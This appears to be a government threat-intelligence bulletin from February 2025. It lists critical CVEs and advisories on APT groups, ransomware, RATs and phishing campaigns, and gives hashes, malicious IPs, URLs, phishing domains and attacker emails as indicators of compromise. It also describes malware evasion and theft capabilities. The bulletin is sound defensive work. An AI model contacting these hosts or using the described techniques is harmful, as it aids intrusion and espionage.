A vulnerability has been discovered in Cleo Harmony, VLTrader and LexiCom that allows to import and execute arbitrary bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory.

CVE ID: CVE-2024-55956 (Critical)

**Vulnerability in Zyxel**

An insecure default credentials vulnerability has been discovered in the Telnet function of legacy DSL CPE Zyxel. The affected version is legacy DSL CPE Zyxel VMG4325-B10A firmware version 1.00(AAFR.4)C0\_20170615.

CVE ID: CVE-2025-0890 (Critical)

**Vulnerability in Dell**

A use of a broken or risky cryptographic algorithm vulnerability has been discovered in Dell RecoverPoint for VMs that leads to remote execution. The affected version is Dell RecoverPoint for VMs version 6.0.x.

CVE ID: CVE-2024-28980 (Critical)

**Vulnerability in SCG Policy Manager**

A Cross-Origin Resource Policy (CORP) vulnerability has been discovered in SCG Policy Manager that leads to the execution of malicious actions on the application in the context of the authenticated user.

CVE ID: CVE-2024-37131 (Critical)

**Multiple Vulnerabilities in Elber's Equipment**

Multiple vulnerabilities in Elber's Equipment- Communications Equipment that allow administrative access to the affected device. The affected versions are Signum DVB-S/S2 IRD versions 1.999 and prior, Cleber/3 Broadcast Multi-Purpose Platform version 1.0, Reble610 M/ODU XPIC IP-ASI-SDH version 0.01, ESE DVB-S/S2 Satellite Receiver versions 1.5.179 and prior and Wayber Analog/Digital Audio STL version 4.

CVE ID: CVE-2025-0674 (Critical), CVE-2025-0675 (High)

**Vulnerability in AutomationDirect's Equipment**

A buffer overflow vulnerability has been discovered in AutomationDirect's Equipment- C-more EA9 HMI that allows Denial of Service (DoS) condition or achieve Remote Code Execution (RCE) on the affected device. The mitigations are available.

CVE ID: CVE-2025-0960 (Critical)

1. **TA-TAG-2025-02-19-005**

It has been observed that the Seashell Blizzard subgroup in it's BadPilot campaign is involved in global cyber access operations by using opportunistic tactics that allow it to maintain persistent access to high-value targets across various sectors. Adversary utilizes opportunistic access methods and covert persistence techniques to gather credentials, execute commands and facilitate lateral movement.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASHES:**

b9ef2e948a9b49a6930fc190b22cbdb3571579d37a4de56564e41a2ef736767b

636e04f0618dd578d107f440b1cf6c910502d160130adae5e415b2dd2b36abcb

c7379b2472b71ea0a2ba63cb7178769d27b27e1d00785bfadac0ae311cc88d8b

b38f1906680c80e1606181b3ccb8539dab5af2a7222165c53cdd68d09ec8abb0

9f3d8252e8f3169751a705151bdf675ac194bfd8457cbe08e1f3c17d7e9e9be2

68c7aab670ee9d7461a4a8f06333994f251dc79813934166421091e2f1fa145c

**Domains:**

hwupdates.com

cloud-sync.org

**IPs:**

103.201.129.130

104.160.6.2

195.26.87.209

148.251.53.222

89.149.200.91

**Emails:**

akfcjweiopgjebvh@proton.me

ohipfdpoih@proton.me

miccraftsor@outlook.com

amymackenzie147@protonmail.ch

ehklsjkhvhbjl@proton.me

MirrowSimps@outlook.com

**Webshell:**

def.aspx

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-02-19-018**

Reference is made to earlier advisories on Keyplug Malware.

Presence of malicious IoCs are found in Indian Cyberspace related to Keyplug malware. Keyplug is a modular backdoor written in C++, with Windows and Linux variants, that has been used by APT41, also known as Double Dragon, Winnti and Barium, for state-sponsored espionage activities and financially motivated cybercrime.

Please find below IOC in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

199.167.138.132

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-02-21-018**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below phishing domains found in Indian Cyberspace.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

adictrict-up-gov.info

cloudzy.com

cyberdelhipolice-gov.info

gov.in.indsx.in

indianarmy.nci.in

indiapostgovin.click

indiapostgovin.help

indiapostgovin.sbs

mailgov.top

rajsthan-gov.in.webex.com.in

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

1. **TA-TAG-2025-02-21-006**

It has been observed that the Winnti Group, in its RevivalStone campaign, is actively targeting various organizations. This campaign utilizes advanced malware, specifically Winnti v5.0, which has been enhanced with features such as improved obfuscation, updated encryption algorithms, and evasion techniques against security products.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASHES:**

e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596

c649e75483dd0883de2fef001a44263a272c6b49a8d1c9ea7c00c044495200ad

569c1d9b2822c17e64214421409c5649eafc5df9abd88d40a5554f57f32588e8

169d35bdb36c2bfcb3bbf64392de1b05d56553172a13cae43a43acbe2aa18587

b9d4ec771a79f53a330b29ed17f719dac81a4bfe11caf0eac0efacd19d14d090

4608a63c039975fb8f3ffd221ec6877078542def44767f50447db1d514eb0779

1e53559e6be1f941df1a1508bba5bb9763aedba23f946294ce5d92646877b40c

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

1. **TA-RAN-2025-02-21-008**

It has been observed that an ongoing threat campaign from the Ghost (Cring) ransomware aka Crypt3r, Phantom, Strike, Hello, Wickrme, HsHarada and Rapture is targeting critical infrastructure and government entities worldwide. Adversary uses publicly available code to exploit Common Vulnerabilities and Exposures (CVEs) and gain access to internet-facing servers. Ghost actors exploit well-known vulnerabilities and target networks where available patches have not been applied.

Adversaries exploit public-facing applications by targeting known vulnerabilities, including:

* Fortinet FortiOS (CVE-2018-13379)
* Adobe ColdFusion (CVE-2010-2861, CVE-2009-3960)
* Microsoft Exchange (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207)
* Microsoft SharePoint (CVE-2019-0604)

**MITRE ATT&CK Tactics and Techniques:**

Exploit Public-Facing Application (T1190)

Windows Management Instrumentation (T1047)

PowerShell (T1059.001)

Windows Command Shell (T1059.003)

Account Manipulation (T1098)

Local Account (T1136.001)

Domain Account (T1136.002)

Web Shell (T1505.003)

Exploitation for Privilege Escalation (T1068)

Token Impersonation/Theft (T1134.001)

Application Layer Protocol: Web Protocols (T1071.001)

Impair Defenses: Disable or Modify Tools (T1562.001)

Hidden Window (T1564.003)

OS Credential Dumping (T1003)

Remote System Discovery (T1018)

Process Discovery (T1057)

Domain Account Discovery (T1087.002)

Network Share Discovery (T1135)

Software Discovery (T1518)

Security Software Discovery (T1518.001)

Exfiltration Over C2 Channel (T1041)

Exfiltration to Cloud Storage (T1567.002)

Web Protocols (T1071.001)

Ingress Tool Transfer (T1105)

Standard Encoding (T1132.001)

Encrypted Channel (T1573)

Data Encrypted for Impact (T1486)

Inhibit System Recovery (T1490)

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hashes:**

c5d712f82d5d37bb284acd4468ab3533

34b3009590ec2d361f07cac320671410

d9c019182d88290e5489cdf3b607f982

29e44e8994197bdb0c2be6fc5dfc15c2

c9e35b5c1dc8856da25965b385a26ec4

d1c5e7b8e937625891707f8b4b594314

c3b8f6d102393b4542e9f951c9435255

0a5c4ad3ec240fbfd00bdc1d36bd54eb

ef6a213f59f3fbee2894bd6734bbaed2

ff52fdf84448277b1bc121f592f753c5

a2fd181f57548c215ac6891d000ec6b9

625bd7275e1892eac50a22f8b4a6355d

db38ef2e3d4d8cb785df48f458b35090

ac58a214ce7deb3a578c10b97f93d9c3

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

1. **TA-MI-2025-02-21-008**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

120.85.116.227

178.141.244.122

91.224.92.10

182.120.130.193

154.51.105.205

27.43.207.216

118.141.180.135

103.207.125.90

154.72.200.109

192.241.140.48

118.254.150.10

118.249.205.145

14.165.202.130

218.250.69.93

49.79.165.165

120.85.114.62

5.255.115.56

193.239.147.201

45.125.66.139

**URLs:-**

http://117.213.88.63:41692/

http://182.123.140.99:37568/

http://45.164.177.173:10867/

http://103.247.7.235:60325/

http://180.108.67.235:48032/

http://59.92.163.141:55832/

http://103.175.180.107:47060/

http://117.241.63.114:50368/

http://219.71.183.165:33950/

http://117.245.232.141:54956/

http://114.227.64.41:46640/

http://117.192.237.59:54209/

http://117.209.114.233:55192/

http://117.209.86.215:40527/

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

1. **TA-PHI-2025-02-24-019**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below phishing domains found in Indian Cyberspace.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

andhrauniversity.edu.in.services

co.in.services

cse.ap.gov.in.services

delhigovt.nic.in.services

ega.in.services

greentrends.in.services

jk.gov.in.services

mediaplayer.in.services

nic.in.services

njad.in.services

rtps.assam.gov.in.services

sarathi.parivahan.gov.in.services

sbilife.co.in.services

trafic.in.services

vahan.parivahan.gov.in.services

verifydocument.in.services

\*.in.services

coord.site

digilockergov.info

\*.coord.site

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

1. **TA-APT-2025-02-24-005**

Mythic malware, an advanced, customizable Command and Control (C2) framework, primarily used by adversaries to control and manage malware operations. Malware is a free-to-use, open-source tool which provides cross-platform payload creation options (Linux, macOS, and Windows). With 'plug-n-play' functionality for its various (also open-source) agents, e.g. Apollo (Windows), Poseidon (Linux, macOS), Bloodhound etc., the malware is known for its flexibility. This allows attackers to deploy various plugins and modules tailored to specific objectives.

**Common Features of Mythic Malware:**

* Persistence
* Remote access and data theft
* Modular architecture and customizable
* Stealth techniques to avoid detection by security software

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

188.166.237.148

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2025-02-24-006**

It has been observed that APT36 a.k.a. Transparent Tribe is deploying malware for cyber-espionage activities, particularly against government, defense, and military targets. The malware deployed by adversaries can remotely control infected systems, steal sensitive information, log keystrokes, capture screenshots and exfiltrate data.

**Tactics, Techniques, and Procedures (TTPs):**

* Spear-Phishing (highly targeted and convincing phishing emails to trick victims)
* Information Theft (documents, credentials, and personal data)
* Remote Access
* Credential Harvesting
* Data Exfiltration
* Persistence Mechanisms

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

107.189.26.70

94.72.108.218

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-02-25-019**

It has been observed that threat actors are using blockchain technology to store malicious payloads and using Linux remote agents & RATs (Remote Access Trojans) to gain persistent access to target systems. The blockchain-based file storage is misused for stealthy data exfiltration and malware distribution.

Prevention:

* Monitor outbound connections to blockchain nodes and unusual network activity.
* Restrict execution of unverified Linux remote agents & enforce strict privilege controls.
* Audit crontabs regularly (crontab-l & /etc/crontab) for unauthorized entries.
* Harden SSH & system configs to prevent unauthorized remote access.
* Regularly audit installed agents and remove suspicious binaries.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**URLs:**

http://mainnet-seed-0002.nkn.org

https://saadac2.mywire.org

http://mainnet-seed-0001.nkn.org

http://mainnet-seed-0003.nkn.org

http://mainnet-seed-0004.nkn.org

http://mainnet-seed-0005.nkn.org

http://mainnet-seed-0006.nkn.org

http://mainnet-seed-0007.nkn.org

http://mainnet-seed-0008.nkn.org

**Note:** The parent domain nkn.org is legitimate, and only the complete URL (including the sub-domain) is being used by the threat actors.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-TAG-2025-02-25-007**

It has been observed that threat actor Stately Taurus is targeting various organisations. The group has been linked to activities involving the ToneShell Malware and Bookworm malware and its variants.

Bookworm: This malware has shown versatility, allowing it to be repackaged for various operational needs. Stately Taurus continues to develop and utilize Bookworm for their attacks.

ToneShell: Believed to be used exclusively by Stately Taurus, ToneShell employs a UUID technique to represent shellcode, enhancing its stealth and efficacy in attacks.

Distribution Methods:

1. DLL Sideloading: Stately Taurus commonly employs DLL sideloading to execute payloads, which enables the execution of malicious code through legitimate software processes.

2. Malicious URLs: Attacks have involved directing victims to compromised URLs that appear to be legitimate, such as those resembling Windows update services.

Impacts of Stately Taurus's operations includes:

1. Compromise of sensitive data.

2. Potential disruption of services and operations for targeted entities in the region.

3. Long-term consequences on the cybersecurity posture of affected organizations.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASHES:**

cf61b7a9bdde2a39156d88f309f230a7d44e9feaf0359947e1f96e069eca4e86

fbc67446daaa0a0264ed7a252ab42413d6a43c2e5ab43437c2b3272daec85e81

5064b2a8fcfc58c18f53773411f41824b7f6c2675c1d531ffa109dc4f842119b

243b92959cd9aa03482f3398fbe81b4874c50a5945fe6b0c0abb432a33db853f

a0887fa90f88dd002b025a97b3a57e4fdb7f5fdd725490d96776f8626f528ef2

a2452456eb3a1a51116d9c2991aae3b0982acc1a9b30efee92a4f102dc4d2927

3e137da41cb509412ee230c6d7aac3d69361358b28c3a09ec851d3c0f3853326

fdad627a21a95ea2a6136c264c6a6cc2f0910a24881118b6eabc2d6509dc8dd7

ab54af1dbe6a82488db161a7f57cd74f2dd282a9522587f18313b4e9835dc558

3cef0b5f069cc1d15d36aa83d54d2a7be79b29b02081b6592dd4714639ad0a66

43de1831368e6420b90210e15f72cea9171478391e15efdd608ad22fe916cea8

2bae8b07f5098e1ca8fb5a5776eb874072ace4e19734cba4af4450eeccde7f89

a229a2943cf8d1b073574f0c050ca06392d0525b2028f4b4b04d1e4b40110c66

9192a1c1ab42186a46e08b914d66253440af2d2be6b497c34fe4b1770c3b5e01

4a92fa725adc57d7b501f33e87230a8291cf8ad22d4d3a830293abcc0ac10d12

da8ef50fe5e571d0143a758c7c66bb55653f1f2d04f16464fc857226441d79b2

f0df09513dcf292264b3336269952c7e9ff685df8180a2035bee9f3143b36609

b7e042d2accdf4a488c3cd46ccd95d6ad5b5a8be71b5d6d76b8046f17debaa18

41276827827b95c9b5a9fbd198b7cff2aef6f90f2b2b3ea84fadb69c55efa171

167a842b97d0434f20e0cd6cf73d07079255a743d26606b94fc785a0f3c6736e

4fbfbf1cd2efaef1906f0bd2195281b77619b9948e829b4d53bf1f198ba81dc5

4e8717c9812318f8775a94fc2bffcf050eacfbc30ea25d0d3dcfe61b37fe34bb

98d6db9b86d713485eb376e156d9da585f7ac369816c4c6adb866d845ac9edc7

a02766b3950dbb86a129384cf9060c11be551025a7f469e3811ea257a47907d5

4b6f0ae4abc6b73a68d9ee5ad9c0293baa4e7e94539ea43c0973677c0ee7f8cb

eb176117650d6a2d38ff435238c5e2a6d0f0bb2a9e24efed438a33d8a2e7a1ea

**DOMAINS:**

www.fjke5oe.com

update.fjke5oe.com

www.i5y3dl.com

www.hbsanews.com

www.b8pjmgd6.com

www.zimbra.page

www.ggrdl4.com

www.gm4rys.com

**IPs:**

123.253.32.15

123.253.35.231

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

1. **TA-MAW-2025-02-25-020**

It has been observed that FINALDRAFT malware is a newly discovered Remote Access Trojan (RAT), attributed to REF7707, a sophisticated threat actor group. It is engineered to function as a powerful tool for cyber-espionage, capable of executing stealthy attacks with a high level of persistence and evasion. It is written in C++, compiled as 64-bit executable for both Windows and Linux. For initial infection, phishing emails, compromised credentials, or exploiting weak security controls has been used. The PATHLOADER malware served as an intermediary payload, retrieved the FINALDRAFT RAT from a remote server. PATHLOADER decrypts FINALDRAFT’s shellcode and injects it into a trusted process, commonly mspaint.exe or svchost.exe. It uses Microsoft Graph API for stealthy communications. It reads commands from the Outlook drafts folder of a compromised account and writes execution results back to a new draft email.

**Capabilities:**

* Process Injection: Injects malicious code into legitimate processes evading antivirus solutions.
* File Manipulation: Reads, writes, deletes, and modifies files to disrupt operations or facilitate further compromise.
* Network Proxying: Redirects network traffic through infected devices, making it harder to trace the attacker.
* PowerShell Execution: Runs PowerShell commands without invoking powershell.exe, bypassing security monitoring tools.
* Credential Theft: Steals NTLM hashes to move laterally across a network.
* ETW and AMSI Evasion: Modifies APIs to bypass Windows event tracing and antivirus scanning mechanisms.
* Self-Deletion: The Linux variant removes itself post-execution to hinder forensic investigation.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hashes:**

54c4d47332ebc8bd2505d6e7638717bc

764a838236f5dceb3d199059ad36311e

92306905be5b717654d5b105cd506bdd

39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530

83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c

9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-02-25-021**

It has been observed that Ferret Malware (including variants such as FlexibleFerret, InvisibleFerret, BeaverTail) is used by threat actors for conducting espionage and financially motivated attacks.  It is primarily distributed through spear-phishing campaign. Attackers craft convincing emails, often pose as recruiters or potential employers,  to entice targets into engaging with malicious attachments or links. Once the victim interacts with the malicious content, the malware is deployed, establishing persistence and facilitating further malicious activities.

The FERRET malware family comprises multiple variants, each with specific functionalities designed to exploit macOS systems.

* BeaverTail – A JavaScript-based downloader and infostealer that exfiltrates credentials and financial data from browsers and cryptocurrency wallets. It can deploy the InvisibleFerret Python backdoor.
* InvisibleFerret – A Python-based backdoor that allows attackers to remotely control the infected system, exfiltrate sensitive files, log keystrokes, and deploy remote-access tools like AnyDesk.
* OtterCookie – A JavaScript-based malware specialized in stealing browser cookies and other web-based credentials.
* FRIENDLYFERRET and FROSTYFERRET\_UI – Persistence modules that disguise themselves as system components (e.g., "com.apple.secd") and common applications (e.g., "ChromeUpdate").
* FlexibleFerret – A variant leveraging a LaunchAgent for persistence while being cryptographically signed with a valid Apple Developer ID to evade detection by XProtect and other security solutions.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hash:**

8ffa3d4f4846b168343eb6a72a216abd

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-02-25-022**

During analysis of Mirai samples over a week, following IOCs have been found. There are couple of things to be aware of while looking at this data:

Network IOCs may be associated with binary distribution or one of the "cnc" or "report" functions.

Network IOCs are identified from newly identified samples but may themselves not necessarily be new.

Because of nature of the static analysis, there is MODERATE confidence in accuracy of the network IOCs..

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

104.248.155.103

**Hashes:**

16e60c2ee8bcddb99bdcf400a8154e28e179e7c778fb36e5cc29c85aad6923e7

31ddb4832530e0fc0e88090c8a3794c14057596a0e5263ec99261bf34bb5d66b

b1d7c5cff536949c1e7776f688870c652a0a2c4be28b0975bbaaa9f358a4a1a9

d5fba298f5de4f13f3a3b348266d62ba38574689c62b2f1f290e20f288435bc7

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

1. **TA-PHI-2025-02-25-020**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below phishing domains found in Indian Cyberspace.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

trending.hammersmith.com.my

dashboard.india.gov.in.hammersmith.com.my

copper.kbccompany.in

\*.hammersmith.com.my

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

1. **VA-2025-02-25-010**

Please find attached pdf of the Prominent Vulnerability List, which comprises a list of vulnerabilities present in cyberspace recently along with affected products, vulnerability descriptions and availability of patches.

**File Name:** Prominent Vulnerability List.pdf

**SHA256:** 64f7cb94fe0a00799598777c60e961d5dc0e3cc76857949aef44d237fdead5f3

**Reference**: CERT-IN [CMTX-P-VUL-022025835]

1. **VA-2025-02-25-011**

A Path Traversal vulnerability tracked as CVE-2024-24919 is identified in Check Point network gateway security products, with a CVSS score of 7.5. This flaw allows attackers to exploit it using DLL search-order hijacking, which can lead to unauthorized access and control over affected systems.

The attacks associated with this vulnerability resulted in the deployment of sophisticated malware such as ShadowPad and ransomware variants like NailaoLocker , which is a C++-based ransomware that encrypts files, appends them with a ".locked" extension, and drops a ransom note that demands victims to make a bitcoin payment or contact them at a Proton Mail address.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

updata.dsqurey.com

time.dsqurey.com

dscriy.chtq.net

system.chtq.net

updata.chtq.net

network.oossafe.com

notes.oossafe.com

caba.superdasqe.me

ccs.superdasqe.me

czs.superdasqe.me

kzb.superdasqe.me

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

1. **TA-MI-2025-02-25-009**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

196.221.187.228

103.200.86.168

121.22.35.6

103.122.177.221

94.159.106.117

39.153.142.40

193.239.147.201

116.142.74.62

120.85.116.51

27.43.205.83

176.65.140.135

103.15.254.253

120.85.117.196

27.128.156.189

116.177.30.17

180.153.27.22

167.114.86.185

112.94.99.242

185.224.0.235

45.125.66.114

223.215.1.144

120.85.184.161

27.47.0.247

120.138.12.211

45.131.177.110

91.224.92.10

103.199.180.150

141.98.11.27

103.197.112.57

27.47.0.65

103.96.75.159

27.43.205.21

103.199.202.0

45.133.237.121

59.49.208.234

118.254.150.10

103.199.200.115

112.94.97.80

222.174.249.158

27.43.204.95

120.85.182.16

86.62.13.69

36.255.18.166

175.107.0.47

45.132.237.212

103.15.254.27

66.63.187.69

45.132.237.220

112.94.97.96

89.23.113.107

103.200.86.176

36.227.189.15

113.220.17.233

120.85.119.62

120.46.193.203

103.199.180.168

185.232.205.104

147.194.57.14

45.132.237.198

27.47.38.102

112.85.79.237

120.85.119.202

112.94.97.26

178.72.88.93

195.201.97.232

139.198.21.181

220.179.1.88

178.72.70.89

120.86.253.75

111.185.226.154

